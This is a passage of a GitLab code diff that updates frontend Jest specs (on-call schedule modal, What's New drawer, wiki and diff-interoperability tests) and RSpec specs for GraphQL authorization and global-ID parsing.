+ ${true} | ${'You are currently a part of:'} | ${'Removing yourself may put your on-call team at risk of missing a notification.'}
+ ${false} | ${`User ${userName} is currently part of:`} | ${'Removing this user may put their on-call team at risk of missing a notification.'}
+ `('when current user ', ({ isCurrentUser, titleText, footerText }) => {
+ it(`${isCurrentUser ? 'is' : 'is not'} a part of on-call schedule`, async () => {
+ createComponent({
+ isCurrentUser,
+ });
+
+ expect(findTitle().text()).toBe(titleText);
+ expect(findFooter().text()).toBe(footerText);
+ });
+ });
+
+ describe.each(mockSchedules)(
+ 'renders each on-call schedule data',
+ ({ name, scheduleUrl, projectName, projectUrl }) => {
+ beforeEach(() => {
+ createComponent({ schedules: [{ name, scheduleUrl, projectName, projectUrl }] });
+ });
+
+ it(`renders schedule ${name}'s name and link`, () => {
+ const msg = findSchedules().text();
+
+ expect(msg).toContain(`On-call schedule ${name}`);
+ expect(findLinks().at(0).attributes('href')).toBe(scheduleUrl);
+ });
+
+ it(`renders project ${projectName}'s name and link`, () => {
+ const msg = findSchedules().text();
+
+ expect(msg).toContain(`in Project ${projectName}`);
+ expect(findLinks().at(1).attributes('href')).toBe(projectUrl);
+ });
+ },
+ );
+});
diff --git a/spec/frontend/whats_new/components/app_spec.js b/spec/frontend/whats_new/components/app_spec.js
index ad062d04140..45c4682208b 100644
--- a/spec/frontend/whats_new/components/app_spec.js
+++ b/spec/frontend/whats_new/components/app_spec.js
@@ -1,4 +1,4 @@
-import { GlDrawer, GlInfiniteScroll, GlTabs } from '@gitlab/ui';
+import { GlDrawer, GlInfiniteScroll } from '@gitlab/ui';
import { createLocalVue, mount } from '@vue/test-utils';
import Vuex from 'vuex';
import { mockTracking, unmockTracking, triggerEvent } from 'helpers/tracking_helper';
@@ -21,12 +21,9 @@ describe('App', () => {
let actions;
let state;
let trackingSpy;
- let gitlabDotCom = true;
const buildProps = () => ({
- storageKey: 'storage-key',
- versions: ['3.11', '3.10'],
- gitlabDotCom,
+ versionDigest: 'version-digest',
});
const buildWrapper = () => {
@@ -91,7 +88,7 @@ describe('App', () => {
});
it('dispatches openDrawer and tracking calls when mounted', () => {
- expect(actions.openDrawer).toHaveBeenCalledWith(expect.any(Object), 'storage-key');
+ expect(actions.openDrawer).toHaveBeenCalledWith(expect.any(Object), 'version-digest');
expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_whats_new_drawer', {
label: 'namespace_id',
value: 'namespace-840',
@@ -176,54 +173,4 @@ describe('App', () => {
);
});
});
-
- describe('self managed', () => {
- const findTabs = () => wrapper.find(GlTabs);
-
- const clickSecondTab = async () => {
- const secondTab = wrapper.findAll('.nav-link').at(1);
- await secondTab.trigger('click');
- await new Promise((resolve) => requestAnimationFrame(resolve));
- };
-
- beforeEach(() => {
- gitlabDotCom = false;
- setup();
- });
-
- it('renders tabs with drawer body height and content', () => {
- const scroll = findInfiniteScroll();
- const tabs = findTabs();
-
- expect(scroll.exists()).toBe(false);
- expect(tabs.attributes().style).toBe(`height: ${MOCK_DRAWER_BODY_HEIGHT}px;`);
- expect(wrapper.find('h5').text()).toBe('Whats New Drawer');
- });
-
- describe('fetchVersion', () => {
- beforeEach(() => {
- actions.fetchItems.mockClear();
- });
-
- it('when version isnt fetched, clicking a tab calls fetchItems', async () => {
- const fetchVersionSpy = jest.spyOn(wrapper.vm, 'fetchVersion');
- await clickSecondTab();
-
- expect(fetchVersionSpy).toHaveBeenCalledWith('3.10');
- expect(actions.fetchItems).toHaveBeenCalledWith(expect.anything(), { version: '3.10' });
- });
-
- it('when version has been fetched, clicking a tab calls fetchItems', async () => {
- wrapper.vm.$store.state.features.push({ title: 'GitLab Stories', release: 3.1 });
- await wrapper.vm.$nextTick();
-
- const fetchVersionSpy = jest.spyOn(wrapper.vm, 'fetchVersion');
- await clickSecondTab();
-
- expect(fetchVersionSpy).toHaveBeenCalledWith('3.10');
- expect(actions.fetchItems).not.toHaveBeenCalled();
- expect(wrapper.find('.tab-pane.active h5').text()).toBe('GitLab Stories');
- });
- });
- });
});
diff --git a/spec/frontend/whats_new/store/actions_spec.js b/spec/frontend/whats_new/store/actions_spec.js
index c4125d28aba..39ad526cf14 100644
--- a/spec/frontend/whats_new/store/actions_spec.js
+++ b/spec/frontend/whats_new/store/actions_spec.js
@@ -11,9 +11,12 @@ describe('whats new actions', () => {
useLocalStorageSpy();
it('should commit openDrawer', () => {
- testAction(actions.openDrawer, 'storage-key', {}, [{ type: types.OPEN_DRAWER }]);
+ testAction(actions.openDrawer, 'digest-hash', {}, [{ type: types.OPEN_DRAWER }]);
- expect(window.localStorage.setItem).toHaveBeenCalledWith('storage-key', 'false');
+ expect(window.localStorage.setItem).toHaveBeenCalledWith(
+ 'display-whats-new-notification',
+ 'digest-hash',
+ );
});
});
@@ -45,12 +48,12 @@ describe('whats new actions', () => {
axiosMock.reset();
axiosMock
- .onGet('/-/whats_new', { params: { page: 8, version: 40 } })
+ .onGet('/-/whats_new', { params: { page: 8 } })
.replyOnce(200, [{ title: 'GitLab Stories' }]);
testAction(
actions.fetchItems,
- { page: 8, version: 40 },
+ { page: 8 },
{},
expect.arrayContaining([
{ type: types.ADD_FEATURES, payload: [{ title: 'GitLab Stories' }] },
diff --git a/spec/frontend/whats_new/utils/notification_spec.js b/spec/frontend/whats_new/utils/notification_spec.js
index e3e390f4394..e1de65df30f 100644
--- a/spec/frontend/whats_new/utils/notification_spec.js
+++ b/spec/frontend/whats_new/utils/notification_spec.js
@@ -1,5 +1,5 @@
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
-import { setNotification, getStorageKey } from '~/whats_new/utils/notification';
+import { setNotification, getVersionDigest } from '~/whats_new/utils/notification';
describe('~/whats_new/utils/notification', () => {
useLocalStorageSpy();
@@ -33,10 +33,23 @@ describe('~/whats_new/utils/notification', () => {
expect(notificationEl.classList).toContain('with-notifications');
});
- it('removes class and count element when storage key is true', () => {
+ it('removes class and count element when legacy storage key is false', () => {
const notificationEl = findNotificationEl();
notificationEl.classList.add('with-notifications');
- localStorage.setItem('storage-key', 'false');
+ localStorage.setItem('display-whats-new-notification-13.10', 'false');
+
+ expect(findNotificationCountEl()).toExist();
+
+ subject();
+
+ expect(findNotificationCountEl()).not.toExist();
+ expect(notificationEl.classList).not.toContain('with-notifications');
+ });
+
+ it('removes class and count element when storage key has current digest', () => {
+ const notificationEl = findNotificationEl();
+ notificationEl.classList.add('with-notifications');
+ localStorage.setItem('display-whats-new-notification', 'version-digest');
expect(findNotificationCountEl()).toExist();
@@ -47,9 +60,9 @@ describe('~/whats_new/utils/notification', () => {
});
});
- describe('getStorageKey', () => {
+ describe('getVersionDigest', () => {
it('retrieves the storage key data attribute from the el', () => {
- expect(getStorageKey(getAppEl())).toBe('storage-key');
+ expect(getVersionDigest(getAppEl())).toBe('version-digest');
});
});
});
diff --git a/spec/frontend/wikis_spec.js b/spec/frontend/wikis_spec.js
index c4a2bf1a69a..c4e914bcf34 100644
--- a/spec/frontend/wikis_spec.js
+++ b/spec/frontend/wikis_spec.js
@@ -4,159 +4,6 @@ import Wikis from '~/pages/shared/wikis/wikis';
import Tracking from '~/tracking';
describe('Wikis', () => {
- const editFormHtmlFixture = (args) => `<form class="wiki-form ${
- args.newPage ? 'js-new-wiki-page' : ''
- }">
- <input type="text" id="wiki_title" value="My title" />
- <input type="text" id="wiki_message" />
- <select class="form-control select-control" name="wiki[format]" id="wiki_format">
- <option value="markdown">Markdown</option>
- <option selected="selected" value="rdoc">RDoc</option>
- <option value="asciidoc">AsciiDoc</option>
- <option value="org">Org</option>
- </select>
- <textarea id="wiki_content"></textarea>
- <code class="js-markup-link-example">{Link title}[link:page-slug]</code>
- <input type="submit" class="js-wiki-btn-submit">
- </input>
- </form>
- `;
-
- let wikis;
- let titleInput;
- let contentInput;
- let messageInput;
- let changeFormatSelect;
- let linkExample;
-
- const findBeforeUnloadWarning = () => window.onbeforeunload?.();
- const findForm = () => document.querySelector('.wiki-form');
- const findSubmitButton = () => document.querySelector('.js-wiki-btn-submit');
-
- describe('when the wiki page is being created', () => {
- const formHtmlFixture = editFormHtmlFixture({ newPage: true });
-
- beforeEach(() => {
- setHTMLFixture(formHtmlFixture);
-
- titleInput = document.getElementById('wiki_title');
- messageInput = document.getElementById('wiki_message');
- changeFormatSelect = document.querySelector('#wiki_format');
- linkExample = document.querySelector('.js-markup-link-example');
- wikis = new Wikis();
- });
-
- it('binds an event listener to the title input', () => {
- wikis.handleWikiTitleChange = jest.fn();
-
- titleInput.dispatchEvent(new Event('keyup'));
-
- expect(wikis.handleWikiTitleChange).toHaveBeenCalled();
- });
-
- it('sets the commit message when title changes', () => {
- titleInput.value = 'My title';
- messageInput.value = '';
-
- titleInput.dispatchEvent(new Event('keyup'));
-
- expect(messageInput.value).toEqual('Create My title');
- });
-
- it('replaces hyphens with spaces', () => {
- titleInput.value = 'my-hyphenated-title';
- titleInput.dispatchEvent(new Event('keyup'));
-
- expect(messageInput.value).toEqual('Create my hyphenated title');
- });
- });
-
- describe('when the wiki page is being updated', () => {
- const formHtmlFixture = editFormHtmlFixture({ newPage: false });
-
- beforeEach(() => {
- setHTMLFixture(formHtmlFixture);
-
- titleInput = document.getElementById('wiki_title');
- messageInput = document.getElementById('wiki_message');
- wikis = new Wikis();
- });
-
- it('sets the commit message when title changes, prefixing with "Update"', () => {
- titleInput.value = 'My title';
- messageInput.value = '';
-
- titleInput.dispatchEvent(new Event('keyup'));
-
- expect(messageInput.value).toEqual('Update My title');
- });
-
- it.each`
- value | text
- ${'markdown'} | ${'[Link Title](page-slug)'}
- ${'rdoc'} | ${'{Link title}[link:page-slug]'}
- ${'asciidoc'} | ${'link:page-slug[Link title]'}
- ${'org'} | ${'[[page-slug]]'}
- `('updates a message when value=$value is selected', ({ value, text }) => {
- changeFormatSelect.value = value;
- changeFormatSelect.dispatchEvent(new Event('change'));
-
- expect(linkExample.innerHTML).toBe(text);
- });
-
- it('starts with no unload warning', () => {
- expect(findBeforeUnloadWarning()).toBeUndefined();
- });
-
- describe('when wiki content is updated', () => {
- beforeEach(() => {
- contentInput = document.getElementById('wiki_content');
- contentInput.value = 'Lorem ipsum dolar sit!';
- contentInput.dispatchEvent(new Event('input'));
- });
-
- it('sets before unload warning', () => {
- expect(findBeforeUnloadWarning()).toBe('');
- });
-
- it('when form submitted, unsets before unload warning', () => {
- findForm().dispatchEvent(new Event('submit'));
- expect(findBeforeUnloadWarning()).toBeUndefined();
- });
- });
- });
-
- describe('submit button state', () => {
- beforeEach(() => {
- setHTMLFixture(editFormHtmlFixture({ newPage: true }));
-
- titleInput = document.getElementById('wiki_title');
- contentInput = document.getElementById('wiki_content');
-
- wikis = new Wikis();
- });
-
- it.each`
- title | text | buttonState | disabledAttr
- ${'something'} | ${'something'} | ${'enabled'} | ${null}
- ${''} | ${'something'} | ${'disabled'} | ${'true'}
- ${'something'} | ${''} | ${'disabled'} | ${'true'}
- ${''} | ${''} | ${'disabled'} | ${'true'}
- ${' '} | ${' '} | ${'disabled'} | ${'true'}
- `(
- "when title='$title', content='$content', then, buttonState='$buttonState'",
- ({ title, text, disabledAttr }) => {
- titleInput.value = title;
- titleInput.dispatchEvent(new Event('keyup'));
-
- contentInput.value = text;
- contentInput.dispatchEvent(new Event('input'));
-
- expect(findSubmitButton().getAttribute('disabled')).toBe(disabledAttr);
- },
- );
- });
-
describe('trackPageView', () => {
const trackingPage = 'projects:wikis:show';
const trackingContext = { foo: 'bar' };
diff --git a/spec/frontend_integration/diffs/diffs_interopability_api.js b/spec/frontend_integration/diffs/diffs_interopability_api.js
new file mode 100644
index 00000000000..adfb93f27a2
--- /dev/null
+++ b/spec/frontend_integration/diffs/diffs_interopability_api.js
@@ -0,0 +1,25 @@
+/**
+ * This helper module contains the API expectation of the diff output HTML.
+ *
+ * This helps simulate what third-party HTML scrapers, such as Sourcegraph,
+ * should be looking for.
+ */
+export const getDiffCodePart = (codeElement) => {
+ const el = codeElement.closest('[data-interop-type]');
+
+ return el.dataset.interopType === 'old' ? 'base' : 'head';
+};
+
+export const getCodeElementFromLineNumber = (codeView, line, part) => {
+ const type = part === 'base' ? 'old' : 'new';
+
+ const el = codeView.querySelector(`[data-interop-${type}-line="${line}"]`);
+
+ return el ? el.querySelector('span.line') : null;
+};
+
+export const getLineNumberFromCodeElement = (codeElement) => {
+ const el = codeElement.closest('[data-interop-line]');
+
+ return parseInt(el.dataset.interopLine || '', 10);
+};
diff --git a/spec/frontend_integration/diffs/diffs_interopability_spec.js b/spec/frontend_integration/diffs/diffs_interopability_spec.js
new file mode 100644
index 00000000000..cb7659e16d3
--- /dev/null
+++ b/spec/frontend_integration/diffs/diffs_interopability_spec.js
@@ -0,0 +1,161 @@
+import { waitFor } from '@testing-library/dom';
+import { TEST_HOST } from 'helpers/test_constants';
+import initDiffsApp from '~/diffs';
+import { createStore } from '~/mr_notes/stores';
+import {
+ getDiffCodePart,
+ getLineNumberFromCodeElement,
+ getCodeElementFromLineNumber,
+} from './diffs_interopability_api';
+
+jest.mock('~/vue_shared/mixins/gl_feature_flags_mixin', () => () => ({
+ inject: {
+ glFeatures: {
+ from: 'window.gon.features',
+ default: () => global.window.gon?.features,
+ },
+ },
+}));
+
+const TEST_PROJECT_PATH = 'gitlab-org/gitlab-test';
+const TEST_BASE_URL = `/${TEST_PROJECT_PATH}/-/merge_requests/1/`;
+const TEST_DIFF_FILE = 'files/js/commit.coffee';
+const EXPECT_INLINE = [
+ ['head', 1],
+ ['head', 2],
+ ['head', 3],
+ ['base', 4],
+ ['head', 4],
+ null,
+ ['base', 6],
+ ['head', 6],
+ null,
+];
+const EXPECT_PARALLEL_LEFT_SIDE = [
+ ['base', 1],
+ ['base', 2],
+ ['base', 3],
+ ['base', 4],
+ null,
+ ['base', 6],
+ null,
+];
+const EXPECT_PARALLEL_RIGHT_SIDE = [
+ ['head', 1],
+ ['head', 2],
+ ['head', 3],
+ ['head', 4],
+ null,
+ ['head', 6],
+ null,
+];
+
+const startDiffsApp = () => {
+ const el = document.createElement('div');
+ el.id = 'js-diffs-app';
+ document.body.appendChild(el);
+ Object.assign(el.dataset, {
+ endpoint: TEST_BASE_URL,
+ endpointMetadata: `${TEST_BASE_URL}diffs_metadata.json`,
+ endpointBatch: `${TEST_BASE_URL}diffs_batch.json`,
+ projectPath: TEST_PROJECT_PATH,
+ helpPagePath: '/help',
+ currentUserData: 'null',
+ changesEmptyStateIllustration: '',
+ isFluidLayout: 'false',
+ dismissEndpoint: '',
+ showSuggestPopover: 'false',
+ showWhitespaceDefault: 'true',
+ viewDiffsFileByFile: 'false',
+ defaultSuggestionCommitMessage: 'Lorem ipsum',
+ });
+
+ const store = createStore();
+
+ const vm = initDiffsApp(store);
+
+ store.dispatch('setActiveTab', 'diffs');
+
+ return vm;
+};
+
+describe('diffs third party interoperability', () => {
+ let vm;
+
+ afterEach(() => {
+ vm.$destroy();
+ document.body.innerHTML = '';
+ });
+
+ const tryOrErrorMessage = (fn) => (...args) => {
+ try {
+ return fn(...args);
+ } catch (e) {
+ return e.message;
+ }
+ };
+
+ const findDiffFile = () => document.querySelector(`.diff-file[data-path="${TEST_DIFF_FILE}"]`);
+ const hasLines = (sel = 'tr.line_holder') => findDiffFile().querySelectorAll(sel).length > 0;
+ const findLineElements = (sel = 'tr.line_holder') =>
+ Array.from(findDiffFile().querySelectorAll(sel));
+
+ const findCodeElements = (lines, sel = 'td.line_content') => {
+ return lines.map((x) => x.querySelector(`${sel} span.line`));
+ };
+
+ const getCodeElementsInteropModel = (codeElements) =>
+ codeElements.map(
+ (x) =>
+ x && [
+ tryOrErrorMessage(getDiffCodePart)(x),
+ tryOrErrorMessage(getLineNumberFromCodeElement)(x),
+ ],
+ );
+
+ describe.each`
+ desc | unifiedDiffComponents | view | rowSelector | codeSelector | expectation
+ ${'inline view'} | ${false} | ${'inline'} | ${'tr.line_holder'} | ${'td.line_content'} | ${EXPECT_INLINE}
+ ${'parallel view left side'} | ${false} | ${'parallel'} | ${'tr.line_holder'} | ${'td.line_content.left-side'} | ${EXPECT_PARALLEL_LEFT_SIDE}
+ ${'parallel view right side'} | ${false} | ${'parallel'} | ${'tr.line_holder'} | ${'td.line_content.right-side'} | ${EXPECT_PARALLEL_RIGHT_SIDE}
+ ${'inline view'} | ${true} | ${'inline'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content'} | ${EXPECT_INLINE}
+ ${'parallel view left side'} | ${true} | ${'parallel'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content.left-side'} | ${EXPECT_PARALLEL_LEFT_SIDE}
+ ${'parallel view right side'} | ${true} | ${'parallel'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content.right-side'} | ${EXPECT_PARALLEL_RIGHT_SIDE}
+ `(
+ '$desc (unifiedDiffComponents=$unifiedDiffComponents)',
+ ({ unifiedDiffComponents, view, rowSelector, codeSelector, expectation }) => {
+ beforeEach(async () => {
+ global.jsdom.reconfigure({
+ url: `${TEST_HOST}/${TEST_BASE_URL}/diffs?view=${view}`,
+ });
+ window.gon.features = { unifiedDiffComponents };
+
+ vm = startDiffsApp();
+
+ await waitFor(() => expect(hasLines(rowSelector)).toBe(true));
+ });
+
+ it('should match diff model', () => {
+ const lines = findLineElements(rowSelector);
+ const codes = findCodeElements(lines, codeSelector);
+
+ expect(getCodeElementsInteropModel(codes)).toEqual(expectation);
+ });
+
+ it.each`
+ lineNumber | part | expectedText
+ ${4} | ${'base'} | ${'new CommitFile(this)'}
+ ${4} | ${'head'} | ${'new CommitFile(@)'}
+ ${2} | ${'base'} | ${'constructor: ->'}
+ ${2} | ${'head'} | ${'constructor: ->'}
+ `(
+ 'should find code element lineNumber=$lineNumber part=$part',
+ ({ lineNumber, part, expectedText }) => {
+ const codeElement = getCodeElementFromLineNumber(findDiffFile(), lineNumber, part);
+
+ expect(codeElement.textContent.trim()).toBe(expectedText);
+ },
+ );
+ },
+ );
+});
diff --git a/spec/frontend_integration/test_helpers/fixtures.js b/spec/frontend_integration/test_helpers/fixtures.js
index b2768440607..5673e36197f 100644
--- a/spec/frontend_integration/test_helpers/fixtures.js
+++ b/spec/frontend_integration/test_helpers/fixtures.js
@@ -40,6 +40,12 @@ export const getMergeRequestVersions = factory.json(() =>
export const getRepositoryFiles = factory.json(() =>
require('test_fixtures/projects_json/files.json'),
);
+export const getDiffsMetadata = factory.json(() =>
+ require('test_fixtures/merge_request_diffs/diffs_metadata.json'),
+);
+export const getDiffsBatch = factory.json(() =>
+ require('test_fixtures/merge_request_diffs/diffs_batch.json'),
+);
export const getPipelinesEmptyResponse = factory.json(() =>
require('test_fixtures/projects_json/pipelines_empty.json'),
);
diff --git a/spec/frontend_integration/test_helpers/mock_server/graphql.js b/spec/frontend_integration/test_helpers/mock_server/graphql.js
index e2658852599..27396842523 100644
--- a/spec/frontend_integration/test_helpers/mock_server/graphql.js
+++ b/spec/frontend_integration/test_helpers/mock_server/graphql.js
@@ -1,13 +1,11 @@
import { buildSchema, graphql } from 'graphql';
+import { memoize } from 'lodash';
-/* eslint-disable import/no-unresolved */
-// This rule is disabled for the following line.
// The graphql schema is dynamically generated in CI
// during the `graphql-schema-dump` job.
-import gitlabSchemaStr from '../../../../tmp/tests/graphql/gitlab_schema.graphql';
-/* eslint-enable import/no-unresolved */
+// eslint-disable-next-line global-require, import/no-unresolved
+const getGraphqlSchema = () => require('../../../../tmp/tests/graphql/gitlab_schema.graphql');
-const graphqlSchema = buildSchema(gitlabSchemaStr.loc.source.body);
const graphqlResolvers = {
project({ fullPath }, schema) {
const result = schema.projects.findBy({ path_with_namespace: fullPath });
@@ -21,6 +19,7 @@ const graphqlResolvers = {
};
},
};
+const buildGraphqlSchema = memoize(() => buildSchema(getGraphqlSchema().loc.source.body));
export const graphqlQuery = (query, variables, schema) =>
- graphql(graphqlSchema, query, graphqlResolvers, schema, variables);
+ graphql(buildGraphqlSchema(), query, graphqlResolvers, schema, variables);
diff --git a/spec/frontend_integration/test_helpers/mock_server/index.js b/spec/frontend_integration/test_helpers/mock_server/index.js
index 20cb441daa7..486c9452dbd 100644
--- a/spec/frontend_integration/test_helpers/mock_server/index.js
+++ b/spec/frontend_integration/test_helpers/mock_server/index.js
@@ -1,4 +1,5 @@
import { Server, Model, RestSerializer } from 'miragejs';
+import setupRoutes from 'ee_else_ce_test_helpers/mock_server/routes';
import {
getProject,
getEmptyProject,
@@ -11,7 +12,6 @@ import {
getBlobImage,
getBlobZip,
} from 'test_helpers/fixtures';
-import setupRoutes from './routes';
export const createMockServerOptions = () => ({
models: {
diff --git a/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js b/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js
new file mode 100644
index 00000000000..8301627e842
--- /dev/null
+++ b/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js
@@ -0,0 +1,22 @@
+import { getDiffsMetadata, getDiffsBatch } from 'test_helpers/fixtures';
+import { withValues } from 'test_helpers/utils/obj';
+
+export default (server) => {
+ server.get('/:namespace/:project/-/merge_requests/:mrid/diffs_metadata.json', () => {
+ return getDiffsMetadata();
+ });
+
+ server.get('/:namespace/:project/-/merge_requests/:mrid/diffs_batch.json', () => {
+ const { pagination, ...result } = getDiffsBatch();
+
+ return {
+ ...result,
+ pagination: withValues(pagination, {
+ current_page: null,
+ next_page: null,
+ total_pages: 1,
+ next_page_href: null,
+ }),
+ };
+ });
+};
diff --git a/spec/frontend_integration/test_helpers/mock_server/routes/index.js b/spec/frontend_integration/test_helpers/mock_server/routes/index.js
index e30fecf2f06..48eff2702dd 100644
--- a/spec/frontend_integration/test_helpers/mock_server/routes/index.js
+++ b/spec/frontend_integration/test_helpers/mock_server/routes/index.js
@@ -5,6 +5,7 @@ export default (server) => {
require('./projects'),
require('./repository'),
require('./ci'),
+ require('./diffs'),
require('./404'),
].forEach(({ default: setup }) => {
setup(server);
diff --git a/spec/graphql/features/authorization_spec.rb b/spec/graphql/features/authorization_spec.rb
index 33b11e1ca09..64e423e2bf8 100644
--- a/spec/graphql/features/authorization_spec.rb
+++ b/spec/graphql/features/authorization_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Gitlab::Graphql::Authorize' do
+RSpec.describe 'DeclarativePolicy authorization in GraphQL ' do
include GraphqlHelpers
include Graphql::ResolverFactories
@@ -10,10 +10,14 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
let(:permission_single) { :foo }
let(:permission_collection) { [:foo, :bar] }
let(:test_object) { double(name: 'My name') }
+ let(:authorizing_object) { test_object }
+ # to override when combining permissions
+ let(:permission_object_one) { authorizing_object }
+ let(:permission_object_two) { authorizing_object }
+
let(:query_string) { '{ item { name } }' }
let(:result) do
schema = empty_schema
- schema.use(Gitlab::Graphql::Authorize)
execute_query(query_type, schema: schema)
end
@@ -33,18 +37,25 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
shared_examples 'authorization with a collection of permissions' do
it 'returns the protected field when user has all permissions' do
- permit(*permission_collection)
+ permit_on(permission_object_one, permission_collection.first)
+ permit_on(permission_object_two, permission_collection.second)
expect(subject).to eq('name' => test_object.name)
end
it 'returns nil when user only has one of the permissions' do
- permit(permission_collection.first)
+ permit_on(permission_object_one, permission_collection.first)
expect(subject).to be_nil
end
- it 'returns nil when user only has none of the permissions' do
+ it 'returns nil when user only has the other of the permissions' do
+ permit_on(permission_object_two, permission_collection.second)
+
+ expect(subject).to be_nil
+ end
+
+ it 'returns nil when user has neither of the required permissions' do
expect(subject).to be_nil
end
end
@@ -56,6 +67,7 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
describe 'Field authorizations' do
let(:type) { type_factory }
+ let(:authorizing_object) { nil }
describe 'with a single permission' do
let(:query_type) do
@@ -71,9 +83,10 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
let(:query_type) do
permissions = permission_collection
query_factory do |qt|
- qt.field :item, type, null: true, resolver: new_resolver(test_object) do
- authorize permissions
- end
+ qt.field :item, type,
+ null: true,
+ resolver: new_resolver(test_object),
+ authorize: permissions
end
end
@@ -110,9 +123,9 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
let(:type) do
permissions = permission_collection
type_factory do |type|
- type.field :name, GraphQL::STRING_TYPE, null: true do
- authorize permissions
- end
+ type.field :name, GraphQL::STRING_TYPE,
+ null: true,
+ authorize: permissions
end
end
@@ -163,6 +176,7 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
end
describe 'type and field authorizations together' do
+ let(:authorizing_object) { anything }
let(:permission_1) { permission_collection.first }
let(:permission_2) { permission_collection.last }
@@ -181,7 +195,63 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
include_examples 'authorization with a collection of permissions'
end
- describe 'type authorizations when applied to a relay connection' do
+ describe 'resolver and field authorizations together' do
+ let(:permission_1) { permission_collection.first }
+ let(:permission_2) { permission_collection.last }
+ let(:type) { type_factory }
+
+ let(:query_type) do
+ query_factory do |query|
+ query.field :item, type,
+ null: true,
+ resolver: resolver,
+ authorize: permission_2
+ end
+ end
+
+ context 'when the resolver authorizes the object' do
+ let(:permission_object_one) { be_nil }
+ let(:permission_object_two) { be_nil }
+ let(:resolver) do
+ resolver = simple_resolver(test_object)
+ resolver.include(::Gitlab::Graphql::Authorize::AuthorizeResource)
+ resolver.authorize permission_1
+ resolver.authorizes_object!
+ resolver
+ end
+
+ include_examples 'authorization with a collection of permissions'
+ end
+
+ context 'when the resolver does not authorize the object, but instead calls authorized_find!' do
+ let(:permission_object_one) { test_object }
+ let(:permission_object_two) { be_nil }
+ let(:resolver) do
+ resolver = new_resolver(test_object, method: :find_object)
+ resolver.authorize permission_1
+ resolver
+ end
+
+ include_examples 'authorization with a collection of permissions'
+ end
+
+ context 'when the resolver calls authorized_find!, but does not list any permissions' do
+ let(:permission_object_two) { be_nil }
+ let(:resolver) do
+ resolver = new_resolver(test_object, method: :find_object)
+ resolver
+ end
+
+ it 'raises a configuration error' do
+ permit_on(permission_object_two, permission_collection.second)
+
+ expect { execute_query(query_type) }
+ .to raise_error(::Gitlab::Graphql::Authorize::AuthorizeResource::ConfigurationError)
+ end
+ end
+ end
+
+ describe 'when type authorizations when applied to a relay connection' do
let(:query_string) { '{ item { edges { node { name } } } }' }
let(:second_test_object) { double(name: 'Second thing') }
@@ -220,8 +290,12 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
let(:query_string) { '{ item(first: 1) { edges { node { name } } } }' }
it 'only checks permissions for the first object' do
- expect(Ability).to receive(:allowed?).with(user, permission_single, test_object) { true }
- expect(Ability).not_to receive(:allowed?).with(user, permission_single, second_test_object)
+ expect(Ability)
+ .to receive(:allowed?)
+ .with(user, permission_single, test_object)
+ .and_return(true)
+ expect(Ability)
+ .not_to receive(:allowed?).with(user, permission_single, second_test_object)
expect(subject.size).to eq(1)
end
@@ -262,10 +336,12 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
end
let(:project_type) do |type|
+ issues = Issue.where(project: [visible_project, other_project]).order(id: :asc)
type_factory do |type|
type.graphql_name 'FakeProjectType'
- type.field :test_issues, issue_type.connection_type, null: false,
- resolver: new_resolver(Issue.where(project: [visible_project, other_project]).order(id: :asc))
+ type.field :test_issues, issue_type.connection_type,
+ null: false,
+ resolver: new_resolver(issues)
end
end
@@ -300,11 +376,35 @@ RSpec.describe 'Gitlab::Graphql::Authorize' do
end
end
+ describe 'Authorization on GraphQL::Execution::Execute::SKIP' do
+ let(:type) do
+ type_factory do |type|
+ type.authorize permission_single
+ end
+ end
+
+ let(:query_type) do
+ query_factory do |query|
+ query.field :item, [type], null: true, resolver: new_resolver(GraphQL::Execution::Execute::SKIP)
+ end
+ end
+
+ it 'skips redaction' do
+ expect(Ability).not_to receive(:allowed?)
+
+ result
+ end
+ end
+
private
def permit(*permissions)
+ permit_on(authorizing_object, *permissions)
+ end
+
+ def permit_on(object, *permissions)
permissions.each do |permission|
- allow(Ability).to receive(:allowed?).with(user, permission, test_object).and_return(true)
+ allow(Ability).to receive(:allowed?).with(user, permission, object).and_return(true)
end
end
end
diff --git a/spec/graphql/gitlab_schema_spec.rb b/spec/graphql/gitlab_schema_spec.rb
index cb2bb25b098..1f2c518f83c 100644
--- a/spec/graphql/gitlab_schema_spec.rb
+++ b/spec/graphql/gitlab_schema_spec.rb
@@ -14,10 +14,6 @@ RSpec.describe GitlabSchema do
expect(field_instrumenters).to include(instance_of(::Gitlab::Graphql::GenericTracing))
end
- it 'enables the authorization instrumenter' do
- expect(field_instrumenters).to include(instance_of(::Gitlab::Graphql::Authorize::Instrumentation))
- end
-
it 'has the base mutation' do
expect(described_class.mutation).to eq(::Types::MutationType)
end
@@ -210,18 +206,22 @@ RSpec.describe GitlabSchema do
describe '.parse_gid' do
let_it_be(:global_id) { 'gid://gitlab/TestOne/2147483647' }
+ subject(:parse_gid) { described_class.parse_gid(global_id) }
+
before do
test_base = Class.new
test_one = Class.new(test_base)
test_two = Class.new(test_base)
+ test_three = Class.new(test_base)
stub_const('TestBase', test_base)
stub_const('TestOne', test_one)
stub_const('TestTwo', test_two)
+ stub_const('TestThree', test_three)
end
it 'parses the gid' do
- gid = described_class.parse_gid(global_id)
+ gid = parse_gid
expect(gid.model_id).to eq '2147483647'
expect(gid.model_class).to eq TestOne
@@ -231,7 +231,7 @@ RSpec.describe GitlabSchema do
let_it_be(:global_id) { 'malformed://gitlab/TestOne/2147483647' }
it 'raises an error' do
- expect { described_class.parse_gid(global_id) }
+ expect { parse_gid }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid GitLab ID.")
end
end
@@ -253,6 +253,33 @@ RSpec.describe GitlabSchema do
expect { described_class.parse_gid(global_id, expected_type: TestTwo) }
